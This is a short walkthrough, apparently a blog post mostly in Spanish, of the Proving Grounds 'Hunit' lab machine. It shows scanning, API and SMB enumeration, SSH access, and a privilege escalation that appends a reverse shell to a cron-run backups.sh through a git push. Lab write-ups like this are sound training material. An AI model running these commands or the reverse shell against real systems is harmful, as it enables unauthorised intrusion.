Hunit

Hunit


ProvingGrounds Linux

nmap -A -p- -oA hunit 192.168.123.125 —min-rate=10000 —script=vuln —script-timeout=15 -v

nmap -sC -sV -O -p- -oA hunit 192.168.123.125

nmap -sU -O -p- -oA hunit-udp 192.168.123.125

nikto -h 192.168.123.125:80

ssh_command.

ssh_command.

Cuando le damos click a uno de los links podemos ver un comentario como el de abajo.

ssh_command.

curl http://192.168.123.125:8080/api/

ssh_command.

curl http://192.168.123.125:8080/api/user

ssh_command.

smbclient -L 192.168.123.125 -p 12445

ssh_command.

ssh dademola@192.168.123.125 -p 43022

ssh_command.

Con linpeas.sh conseguimos lo siguiente:

ssh_command.

Vemos que esto es un backup

ssh_command.

Vemos que git es otro usuario regular

ssh_command.

git clone file:////git-server

ssh_command.

cd home/git

ssh_command.

ssh -i id_rsa git@192.168.123.125 -p 43022

ssh_command.

cd git-server

vim backups.sh

chmod +x backups.sh

echo “sh -i >& /dev/tcp/192.168.49.123/8080 0>&1” >> backups.sh

git add .

git commit -m “reverse”

ssh_command.

GIT_SSH_COMMAND=‘ssh -i id_rsa -p 43022’ git push origin master

nc -lvnp 8080

ssh_command.

whoami

ssh_command.

© 2025 Cu3rv0x